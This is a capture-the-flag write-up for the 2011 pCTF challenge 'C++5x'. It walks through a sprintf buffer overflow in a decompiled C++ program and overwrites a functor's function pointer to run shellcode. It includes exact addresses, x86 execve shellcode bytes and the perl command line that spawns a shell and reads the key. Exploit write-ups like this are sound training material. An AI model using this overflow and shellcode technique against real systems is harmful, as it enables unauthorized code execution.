pCTF challenge #17: C++5x

Submitted by blue9057 on Mon, 04/25/2011 - 13:56

AED decided to use C++ to develop their internal tools.
However, they seem to make a mistake one of their new C++ programs.
 
Exploit and get the key!
 
ssh username@a5.amalgamated.biz

X-rayed code

void __cdecl main(signed int a1, int argv[1]_here)
{
  int argv[2]_length; // eax@3
  char some_object; // [sp+1Ch] [bp-14h]@3
  int v4; // [sp+20h] [bp-10h]@4
  signed int *v5; // [sp+24h] [bp-Ch]@1
  void *v6; // [sp+2Ch] [bp-4h]@1
  void *v7; // [sp+30h] [bp+0h]@1
 
  v6 = v7;
  v5 = &a1;
  if ( a1 <= 2 )
    sub_80487A4(*(_DWORD *)argv[1]_here);
  sub_8048846(&some_object);
  argv[2]_length = atoi(*(const char **)(argv[1]_here + 8));
  v4 = argv[2]_length;
  sub_804896C((int)&some_object, argv[2]_length, *(_DWORD *)(argv[1]_here + 4));
}
 
void __cdecl sub_804896C(int functor_object, int a2, int a3)
{
  char can_be_overflowed; // [sp+26h] [bp-32h]@1
 
  sprintf(&can_be_overflowed, "Uploading... [%s]: %d pts\n", a3, a2);
  memcpy(s, &can_be_overflowed, 0x32u);
  (**(void (__cdecl ***)(_DWORD, _DWORD))functor_object)(functor_object, s);
  sub_8048870();
}

This program gets input the string from ARGV[1] and size from ARGV[2].
And performs sprintf to buffer sized 0x32, without mentioning the size.
And it calls functor to run printf function, which is overwritable.

So we can take control of eip by overwriting functor object.
The functor object should have the address of pointer of a function.
So we need exact address location to do indirect call, however, there is global variable s.

Also, a5 machine has executable stack, executable global variables, executable heaps(even though ppp mentions that they turned on NX), so we can write shellcode there and jump to that global variable s.

If we push,
[addr_of_pointer][addr_of_shellcode][shellcode][padding][functor]
Then the functor will call shellcode.

Address of buffer s is 0x8049dc0. Buffer s will have 14 bytes of garbage, "Uploading.... [", so our attack vector starts from 0x08049dce.

So, addr of pointer is at 0x8049dce,
addr of shellcode is at 0x8049dd2,
and shellcode is at 0x8049dd6.

Build the vector.

[0x8049dd2][0x8049dd6][shellcode][padding( shellcode + padding = 36)][0x8049dce]

With 16byte shellcode that execute AAAA,

"\xd2\x9d\x04\x08\xd6\x9d\x04\x08","\x6a\x0b\x58\x99\x89\xd1\x52\x68\x41\x41\x41\x41\x89\xe3\xcd\x80","a"x20,"\xce\x9d\x04\x08

is the vector.

cpp1_85@a5:~$ ./first_cpp `perl -e 'print "\xd2\x9d\x04\x08\xd6\x9d\x04\x08","\x6a\x0b\x58\x99\x89\xd1\x52\x68\x41\x41\x41\x41\x89\xe3\xcd\x80","a"x20,"\xce\x9d\x04\x08"'` 1
$ id
uid=3084(cpp1_85) gid=3001(cpp1key) groups=3000(cpp1users)
$ cat /opt/pctf/cpp1/key
Virtual_function_is_Virtue

© 2010-2011 disekt - Hosted by inetric. Drupal theme by Kiwi Themes.